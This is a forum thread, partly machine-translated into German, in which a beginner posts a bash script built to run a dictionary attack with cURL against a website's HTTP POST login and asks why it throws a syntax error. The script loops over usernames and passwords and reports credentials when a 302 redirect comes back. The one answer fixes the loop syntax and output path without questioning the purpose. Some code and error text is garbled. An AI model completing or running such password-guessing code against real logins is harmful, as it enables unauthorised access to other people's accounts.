Wörterbuch Angriff in der Bash mit cURL

1294
Aqueous Computing

Ich bin relativ neu bei Bash, aber dies ist ein Skript, an dem ich in den letzten Tagen gearbeitet habe. Es soll einen Wörterbuchangriff auf ein HTTP-POST-Login für eine Website ausführen, indem das Zeitmodul gelesen wird und jede Sekunde, für die ich es festgelegt habe, eine Login-Anforderung an die Website gesendet wird. Ich stoße jedoch auf Probleme.

echo -e "Initiating password cracking session...\n" echo -e "Seconds per password attempt: \c"  read TIME  if [ "$TIME" -lt "2" ]; then echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.\n" fi  if [ "$TIME" -gt "2" ]; then echo -e "Cracking session will take too long to initiate. Session will continue anyways.\n" fi  function control_c { tput setaf 2; echo -en " Password cracking session deactivated.\n" exit $? }  trap control_c SIGINT  for (( ; ; )) do url="https://examplewebsite.com/login" echo -e "Username: \c"  read user  echo -e "Wordlist: \c"  read pass  for user do for pass in pass do http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%' -o /root/Desktop -s) if [[ $http_code -eq 302 ]]; then echo "Success: User: '$user' Pass: '$pass'" break 2 fi done sleep $TIME done done 

Als Randbemerkung habe ich absolut keine Kenntnisse in Bezug auf cURL, und die obige Syntax für cURL ist lediglich die, die ich auf anderen Websites gelesen habe. Ich erhalte die Fehlermeldung: Syntaxfehler in der Nähe eines unerwarteten Tokens http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code = $ (curl -L -data user = "$ user" -data password = "$ pass" "$ url" -w '% ' -o / root / Desktop -s) '

Was mache ich falsch? Bash und cURL sind neu für mich. Verzeihen Sie mir bitte, wenn mein Skript nicht in Ordnung ist.

0

1 Antwort auf die Frage

0
Gombai Sándor

To be short, I intentionally don't mention (many) things you "should" or "shouldn't", just focus on the syntax error.

  • for user do: for in this context must be in the format of for loop_variable in list; do (although I can't see what you would wish to have a loop for here)
  • for pass in pass do: just as in the previous line, the semicolon is missing (or, if you don't like semicolons, you can write do in the next line (but I can't see reasons of a loop here either)

One thing I must mention in addition: -o /root/Desktop would mean "put the output into a file called /root/Desktop". I guess you already have a directory with this name, so you must give the file something different..